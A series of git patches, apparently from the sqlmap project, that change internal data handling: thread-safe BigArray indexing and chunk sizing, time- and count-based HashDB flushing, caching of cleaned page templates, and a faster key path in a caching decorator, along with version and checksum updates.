self.chunks.append(file_mapping[chunk]) + else: + errMsg = "exception occurred while restoring BigArray chunk " + errMsg += "from file '%s'" % chunk + raise SqlmapSystemException(errMsg) + else: + self.chunks.append(chunk) def __getitem__(self, y): - length = len(self) - if length == 0: - raise IndexError("BigArray index out of range") + with self._lock: + length = len(self) + if length == 0: + raise IndexError("BigArray index out of range") + + if y < 0: + y += length - while y < 0: - y += length + if y < 0 or y >= length: + raise IndexError("BigArray index out of range") - index = y // self.chunk_length - offset = y % self.chunk_length - chunk = self.chunks[index] + index = y // self.chunk_length + offset = y % self.chunk_length + chunk = self.chunks[index] - if isinstance(chunk, list): - return chunk[offset] - else: - self._checkcache(index) - return self.cache.data[offset] + if isinstance(chunk, list): + return chunk[offset] + else: + self._checkcache(index) + return self.cache.data[offset] def __setitem__(self, y, value): - index = y // self.chunk_length - offset = y % self.chunk_length - chunk = self.chunks[index] - - if isinstance(chunk, list): - chunk[offset] = value - else: - self._checkcache(index) - self.cache.data[offset] = value - self.cache.dirty = True + with self._lock: + length = len(self) + if length == 0: + raise IndexError("BigArray index out of range") + + if y < 0: + y += length + + if y < 0 or y >= length: + raise IndexError("BigArray index out of range") + + index = y // self.chunk_length + offset = y % self.chunk_length + chunk = self.chunks[index] + + if isinstance(chunk, list): + chunk[offset] = value + else: + self._checkcache(index) + self.cache.data[offset] = value + self.cache.dirty = True def __repr__(self): return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__()) diff --git a/lib/core/settings.py b/lib/core/settings.py index bca3f6a63b8..b857a09d609 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.29" +VERSION = "1.9.12.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -658,7 +658,7 @@ BIGARRAY_CHUNK_SIZE = 1024 * 1024 # Compress level used for storing BigArray chunks to disk (0-9) -BIGARRAY_COMPRESS_LEVEL = 9 +BIGARRAY_COMPRESS_LEVEL = 4 # Maximum number of socket pre-connects SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 From 0e74e43846b44e315ecee0d1aab44eca3470a604 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 02:32:33 +0100 Subject: [PATCH 271/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/bigarray.py | 4 ++-- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d2fbe8655cd..b8f53a0b40d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 49bcd74281297c79a6ae5d4b0d1479ddace4476fddaf4383ca682a6977b553e3 lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py ac44a343947162532dbf17bd1f9ab424f8008f677367c5ad3f9f7b715a679818 lib/core/agent.py -fdb5e3828e14f5bca76bed85747c111a861c972bac3892ac789d0285c1b0e8b3 lib/core/bigarray.py +c9cba7319fa56f65f9eaff27e31c251cd36e9b85b17003b88a8af0ea7da8c933 lib/core/bigarray.py f6062e324fdeaacf9df0a289fc3f12f755143e3876a70cb65b38aa2e690f73c1 lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py 39ea62d4224be860befeffb3843c150f2343b64555ad8c438a400222056f6cc0 lib/core/convert.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -d9a017b535ac6566d750ec4315e155cbe056fc39538b932071c1c546ec26d535 lib/core/settings.py +daadf9a51c1d224f225a372a29b263484e0982f8e91eec1ccc601911c8906514 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 9178d1574bb..887f17c2609 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -47,8 +47,8 @@ def _size_of(instance): return retval elif isinstance(instance, dict): retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items())) - elif hasattr(instance, "__iter__"): - retval += sum(_size_of(_) for _ in instance if _ != instance) + elif isinstance(instance, (list, tuple, set, frozenset)): + retval += sum(_size_of(_) for _ in instance if _ is not instance) return retval diff --git a/lib/core/settings.py b/lib/core/settings.py index b857a09d609..0f30d9dd909 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.30" +VERSION = "1.9.12.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From bf2d3a5315871ed09ce13843efa605258e457996 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 09:53:26 +0100 Subject: [PATCH 272/853] Minor fine tuning --- data/txt/sha256sums.txt | 4 ++-- lib/core/bigarray.py | 7 ++++--- lib/core/settings.py | 4 ++-- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b8f53a0b40d..2bec0c38573 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 49bcd74281297c79a6ae5d4b0d1479ddace4476fddaf4383ca682a6977b553e3 lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py ac44a343947162532dbf17bd1f9ab424f8008f677367c5ad3f9f7b715a679818 lib/core/agent.py -c9cba7319fa56f65f9eaff27e31c251cd36e9b85b17003b88a8af0ea7da8c933 lib/core/bigarray.py +86a9cb82c7e7beb4730264dae20bf3b7cd87c0dcaee587367362cf319f7bb079 lib/core/bigarray.py f6062e324fdeaacf9df0a289fc3f12f755143e3876a70cb65b38aa2e690f73c1 lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py 39ea62d4224be860befeffb3843c150f2343b64555ad8c438a400222056f6cc0 lib/core/convert.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -daadf9a51c1d224f225a372a29b263484e0982f8e91eec1ccc601911c8906514 lib/core/settings.py +c42265c888448e115be0ea6ba6fdc86c86cbd00cdbc3a635c21b2a06949920d6 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 887f17c2609..e202d9c9671 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -66,7 +66,7 @@ class BigArray(list): """ List-like class used for storing large amounts of data (disk cached) - >>> _ = BigArray(xrange(100000)) + >>> _ = BigArray(xrange(100000), chunk_size=500 * 1024) >>> _[20] = 0 >>> _[-1] = 999 >>> _[99999] @@ -97,7 +97,7 @@ class BigArray(list): 100000 """ - def __init__(self, items=None): + def __init__(self, items=None, chunk_size=BIGARRAY_CHUNK_SIZE): self.chunks = [[]] self.chunk_length = sys.maxsize self.cache = None @@ -105,6 +105,7 @@ def __init__(self, items=None): self._lock = threading.Lock() self._os_remove = os.remove self._size_counter = 0 + self._chunk_size = chunk_size for item in (items or []): self.append(item) @@ -129,7 +130,7 @@ def append(self, value): if self.chunk_length == sys.maxsize: self._size_counter += _size_of(value) - if self._size_counter >= BIGARRAY_CHUNK_SIZE: + if self._size_counter >= self._chunk_size: self.chunk_length = len(self.chunks[-1]) self._size_counter = None diff --git a/lib/core/settings.py b/lib/core/settings.py index 0f30d9dd909..72c5990b077 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.31" +VERSION = "1.9.12.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -655,7 +655,7 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-') # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) -BIGARRAY_CHUNK_SIZE = 1024 * 1024 +BIGARRAY_CHUNK_SIZE = 32 * 1024 * 1024 # Compress level used for storing BigArray chunks to disk (0-9) BIGARRAY_COMPRESS_LEVEL = 4 From 1330198eab29e48004a87d3d6413503cd2023a7e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 12:14:32 +0100 Subject: [PATCH 273/853] Minor improvements in HashDB --- data/txt/sha256sums.txt | 8 ++++---- lib/core/settings.py | 9 ++++++--- lib/core/threads.py | 2 +- lib/utils/hashdb.py | 42 +++++++++++++++++++++-------------------- sqlmap.py | 2 +- 5 files changed, 34 insertions(+), 29 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2bec0c38573..73f6c76ea73 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,12 +188,12 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -c42265c888448e115be0ea6ba6fdc86c86cbd00cdbc3a635c21b2a06949920d6 lib/core/settings.py +08714a34dc7fcaab4baef0ee9fad14e76b726d5ac87284d8e9b3d9a818d80090 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py 6cf11d8b00fa761046686437fe90565e708809f793e88a3f02527d0e49c4d2a8 lib/core/testing.py -2a179b7601026a8da092271b30ad353cdb6decd658e2614fa51983aaf6dd80e7 lib/core/threads.py +f113732e85962a2522b7ab771295169d63d35b0ee8f1fc455526048d3994d94e lib/core/threads.py 6f61e7946e368ee1450c301aaf5a26381a8ae31fc8bffa28afc9383e8b1fbc3f lib/core/unescaper.py 8919863be7a86f46d2c41bd30c0114a55a55c5931be48e3cfc66dfa96b7109c8 lib/core/update.py cba481f8c79f4a75bd147b9eb5a1e6e61d70422fceadd12494b1dbaa4f1d27f4 lib/core/wordlist.py @@ -247,7 +247,7 @@ af67d25e8c16b429a5b471d3c629dc1da262262320bf7cd68465d151c02def16 lib/utils/brut 56b93ba38f127929346f54aa75af0db5f46f9502b16acfe0d674a209de6cad2d lib/utils/deps.py 3aca7632d53ab2569ddef876a1b90f244640a53e19b304c77745f8ddb15e6437 lib/utils/getch.py 4979120bbbc030eaef97147ee9d7d564d9683989059b59be317153cdaa23d85b lib/utils/har.py -00135cf61f1cfe79d7be14c526f84a841ad22e736db04e4fe087baeb4c22dc0d lib/utils/hashdb.py +70231961e1d5888efa307552457fe3bc5fdc15e8c93206c1fa05f98e75e5ae5d lib/utils/hashdb.py 8c9caffbd821ad9547c27095c8e55c398ea743b2e44d04b3572e2670389ccf5b lib/utils/hash.py ba862f0c96b1d39797fb21974599e09690d312b17a85e6639bee9d1db510f543 lib/utils/httpd.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/utils/__init__.py @@ -477,7 +477,7 @@ cbc7684de872fac4baeabd1fce3938bc771316c36e54d69ac6a301e8a99f07b2 plugins/generi 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9 sqlmap.conf -1beb0711d15e38956759fbffa5331bde763c568a1baa8e32a04ebe5bc7a27e87 sqlmap.py +c3a4c520df0a3396ed9e0f88fea0c9e0f420f779eff7e3d213603bd3f250f927 sqlmap.py 82caac95182ac5cae02eb7d8a2dc07e71389aeae6b838d3d3f402c9597eb086a tamper/0eunion.py bc8f5e638578919e4e75a5b01a84b47456bac0fd540e600975a52408a3433460 tamper/apostrophemask.py c9c3d71f11de0140906d7b4f24fadb9926dc8eaf5adab864f8106275f05526ce tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 72c5990b077..0918df56281 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.32" +VERSION = "1.9.12.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -703,8 +703,11 @@ # Github OAuth token used for creating an automatic Issue for unhandled exceptions GITHUB_REPORT_OAUTH_TOKEN = "wxqc7vTeW8ohIcX+1wK55Mnql2Ex9cP+2s1dqTr/mjlZJVfLnq24fMAi08v5vRvOmuhVZQdOT/lhIRovWvIJrdECD1ud8VMPWpxY+NmjHoEx+VLK1/vCAUBwJe" -# Skip unforced HashDB flush requests below the threshold number of cached items -HASHDB_FLUSH_THRESHOLD = 32 +# Flush HashDB threshold number of cached items +HASHDB_FLUSH_THRESHOLD_ITEMS = 200 + +# Flush HashDB threshold "dirty" time +HASHDB_FLUSH_THRESHOLD_TIME = 5 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 diff --git a/lib/core/threads.py b/lib/core/threads.py index 57411b03a78..c68cd2948b2 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -255,7 +255,7 @@ def _threadFunction(): pass if conf.get("hashDB"): - conf.hashDB.flush(True) + conf.hashDB.flush() if cleanupFunction: cleanupFunction() diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 3748905879d..f55a03287bc 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -22,7 +22,8 @@ from lib.core.exception import SqlmapConnectionException from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES -from lib.core.settings import HASHDB_FLUSH_THRESHOLD +from lib.core.settings import HASHDB_FLUSH_THRESHOLD_ITEMS +from lib.core.settings import HASHDB_FLUSH_THRESHOLD_TIME from lib.core.settings import HASHDB_RETRIEVE_RETRIES from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadName @@ -34,15 +35,17 @@ def __init__(self, filepath): self._write_cache = {} self._cache_lock = threading.Lock() self._connections = [] + self._last_flush_time = time.time() def _get_cursor(self): threadData = getCurrentThreadData() if threadData.hashDBCursor is None: try: - connection = sqlite3.connect(self.filepath, timeout=3, isolation_level=None) + connection = sqlite3.connect(self.filepath, timeout=3, isolation_level=None, check_same_thread=False) self._connections.append(connection) threadData.hashDBCursor = connection.cursor() + threadData.hashDBCursor.execute("PRAGMA journal_mode=WAL") threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") connection.commit() except Exception as ex: @@ -86,7 +89,7 @@ def hashKey(key): def retrieve(self, key, unserialize=False): retVal = None - if key and (self._write_cache or os.path.isfile(self.filepath)): + if key and (self._write_cache or self._connections or os.path.isfile(self.filepath)): hash_ = HashDB.hashKey(key) retVal = self._write_cache.get(hash_) if not retVal: @@ -123,28 +126,26 @@ def retrieve(self, key, unserialize=False): def write(self, key, value, serialize=False): if key: hash_ = HashDB.hashKey(key) - self._cache_lock.acquire() - self._write_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) - self._cache_lock.release() + with self._cache_lock: + self._write_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) + cache_size = len(self._write_cache) + time_since_flush = time.time() - self._last_flush_time - if getCurrentThreadName() in ('0', "MainThread"): - self.flush() + if cache_size >= HASHDB_FLUSH_THRESHOLD_ITEMS or time_since_flush >= HASHDB_FLUSH_THRESHOLD_TIME: + self.flush() - def flush(self, forced=False): - if not self._write_cache: - return + def flush(self): + with self._cache_lock: + if not self._write_cache: + return - if not forced and len(self._write_cache) < HASHDB_FLUSH_THRESHOLD: - return - - self._cache_lock.acquire() - _ = self._write_cache - self._write_cache = {} - self._cache_lock.release() + flush_cache = self._write_cache + self._write_cache = {} + self._last_flush_time = time.time() try: self.beginTransaction() - for hash_, value in _.items(): + for hash_, value in flush_cache.items(): retries = 0 while True: try: @@ -160,7 +161,8 @@ def flush(self, forced=False): logger.debug(debugMsg) break - if retries == 0: + # NOTE: skipping the retries == 0 for graceful resolution of multi-threaded runs + if retries == 1: warnMsg = "there has been a problem while writing to " warnMsg += "the session file ('%s')" % getSafeExString(ex) logger.warning(warnMsg) diff --git a/sqlmap.py b/sqlmap.py index 9698d5db3be..14f2eb98923 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -588,7 +588,7 @@ def main(): pass if conf.get("hashDB"): - conf.hashDB.flush(True) + conf.hashDB.flush() conf.hashDB.close() # NOTE: because of PyPy if conf.get("harFile"): From 1614084709875a72e5071d64637f7242f0e78a4e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 12:49:26 +0100 Subject: [PATCH 274/853] Minor improvement --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/core/threads.py | 2 ++ lib/request/comparison.py | 6 +++++- 4 files changed, 11 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 73f6c76ea73..c56075bf326 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,12 +188,12 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -08714a34dc7fcaab4baef0ee9fad14e76b726d5ac87284d8e9b3d9a818d80090 lib/core/settings.py +632de5ad548d5d44af0477d22b43fccd1ccb52eb503bb34ed597738b6ee0219d lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py 6cf11d8b00fa761046686437fe90565e708809f793e88a3f02527d0e49c4d2a8 lib/core/testing.py -f113732e85962a2522b7ab771295169d63d35b0ee8f1fc455526048d3994d94e lib/core/threads.py +2194ffd7891a9c6c012fb93e76222e33e85e49e6f1d351cd7664c5d306ebc675 lib/core/threads.py 6f61e7946e368ee1450c301aaf5a26381a8ae31fc8bffa28afc9383e8b1fbc3f lib/core/unescaper.py 8919863be7a86f46d2c41bd30c0114a55a55c5931be48e3cfc66dfa96b7109c8 lib/core/update.py cba481f8c79f4a75bd147b9eb5a1e6e61d70422fceadd12494b1dbaa4f1d27f4 lib/core/wordlist.py @@ -210,7 +210,7 @@ d7082e4a5937f65cbb4862701bad7d4fbc096a826621ba7eab92e52e48ebd6d7 lib/parse/site 0f52f3c1d1f1322a91c98955bd8dc3be80964d8b3421d453a0e73a523c9cfcbf lib/request/basicauthhandler.py 48bdb0f5f05ece57e6e681801f7ed765739ebe537f9fa5a0465332d4f3f91c06 lib/request/basic.py fdb4a9f2ca9d01480c3eb115f6fdf8d89f8ff0506c56a223421b395481527670 lib/request/chunkedhandler.py -c56a2c170507861403e0ddebd68a111bcf3a5f5fddc7334a9de4ecd572fdcc2f lib/request/comparison.py +d14df1d76f4ae239654bf360cb8a2410ed08d020cc50f68d06a4efdf1b1b20b9 lib/request/comparison.py cfa172dbc459a3250db7fbaadb62b282b62d56b4f290c585d3abec01597fcd40 lib/request/connect.py a890be5dee3fb4f5cb8b5f35984017a5c172d587722cf0c690bf50e338deebfa lib/request/direct.py a53fa3513431330ce1725a90e7e3d20f223e14605d699e1f66b41625f04439c7 lib/request/dns.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0918df56281..d085cdb5171 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.33" +VERSION = "1.9.12.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index c68cd2948b2..df1e91610a5 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -52,6 +52,8 @@ def reset(self): self.lastComparisonHeaders = None self.lastComparisonCode = None self.lastComparisonRatio = None + self.lastPageTemplateCleaned = None + self.lastPageTemplate = None self.lastErrorPage = tuple() self.lastHTTPError = None self.lastRedirectMsg = None diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 1730f2ccaf9..55cb36cb369 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -106,7 +106,11 @@ def _comparison(page, headers, code, getRatioValue, pageLength): # Dynamic content lines to be excluded before comparison if not kb.nullConnection: page = removeDynamicContent(page) - seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate)) + if threadData.lastPageTemplate != kb.pageTemplate: + threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate) + threadData.lastPageTemplate = kb.pageTemplate + + seqMatcher.set_seq1(threadData.lastPageTemplateCleaned) if not pageLength: pageLength = len(page) From 503c7b62bd658c2c9d54ae334779e9b4ce096fc0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 13:04:13 +0100 Subject: [PATCH 275/853] Some improvements in cachedmethods --- data/txt/sha256sums.txt | 4 ++-- lib/core/decorators.py | 42 +++++++++++++++++++++++------------------ lib/core/settings.py | 4 ++-- 3 files changed, 28 insertions(+), 22 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c56075bf326..18f41e881ce 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -171,7 +171,7 @@ f6062e324fdeaacf9df0a289fc3f12f755143e3876a70cb65b38aa2e690f73c1 lib/core/commo 39ea62d4224be860befeffb3843c150f2343b64555ad8c438a400222056f6cc0 lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py -322978f03cd69f7c98f2ea2cbe7567ab4f386b6c0548dcdf09064a6e9c393383 lib/core/decorators.py +a3979f1b8f8b407d033c2c39d3e8242f0151886703bb4ab8c8f5a13b8079271c lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py bb7e6521edad1cbfffa89fd7d5e255ed4ff148d984ffadbeac8d42baa2d76dea lib/core/dicts.py 20a6edda1d57a7564869e366f57ed7b2ab068dd8716cf7a10ef4a02d154d6c80 lib/core/dump.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -632de5ad548d5d44af0477d22b43fccd1ccb52eb503bb34ed597738b6ee0219d lib/core/settings.py +9ffdf1b4e618a2d335948321e592dbf02000e6bda5381bcfb96dba42142d08d1 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 201abac75bd..dbbc235800d 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -42,28 +42,34 @@ def cachedmethod(f): @functools.wraps(f) def _f(*args, **kwargs): - parts = ( - f.__module__ + "." + f.__name__, - "^".join(repr(a) for a in args), - "^".join("%s=%r" % (k, kwargs[k]) for k in sorted(kwargs)) - ) try: - key = struct.unpack(">Q", hashlib.md5("`".join(parts).encode(UNICODE_ENCODING)).digest()[:8])[0] & 0x7fffffffffffffff - except (struct.error, ValueError): # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value) - result = f(*args, **kwargs) - else: - lock, cache = _method_locks[f], _cache[f] - - with lock: - if key in cache: - return cache[key] + # NOTE: fast-path + if kwargs: + key = hash((f, args, tuple(map(type, args)), frozenset(kwargs.items()))) & 0x7fffffffffffffff + else: + key = hash((f, args, tuple(map(type, args)))) & 0x7fffffffffffffff + except TypeError: + # NOTE: failback slow-path + parts = ( + f.__module__ + "." + f.__name__, + "^".join(repr(a) for a in args), + "^".join("%s=%r" % (k, kwargs[k]) for k in sorted(kwargs)) + ) + try: + key = struct.unpack(">Q", hashlib.md5("`".join(parts).encode(UNICODE_ENCODING)).digest()[:8])[0] & 0x7fffffffffffffff + except (struct.error, ValueError): + return f(*args, **kwargs) + + lock, cache = _method_locks[f], _cache[f] - result = f(*args, **kwargs) + with lock: + if key in cache: + return cache[key] - with lock: - cache[key] = result + result = f(*args, **kwargs) - return result + with lock: + cache[key] = result return result diff --git a/lib/core/settings.py b/lib/core/settings.py index d085cdb5171..5a8c63626d5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.34" +VERSION = "1.9.12.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -191,7 +191,7 @@ MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 # Maximum size of cache used in @cachedmethod decorator -MAX_CACHE_ITEMS = 256 +MAX_CACHE_ITEMS = 1024 # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" From ea622b829f7d5d92e75d144c398550828f145802 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 13:05:52 +0100 Subject: [PATCH 276/853] Fixes latest CI/CD error --- data/txt/sha256sums.txt | 4 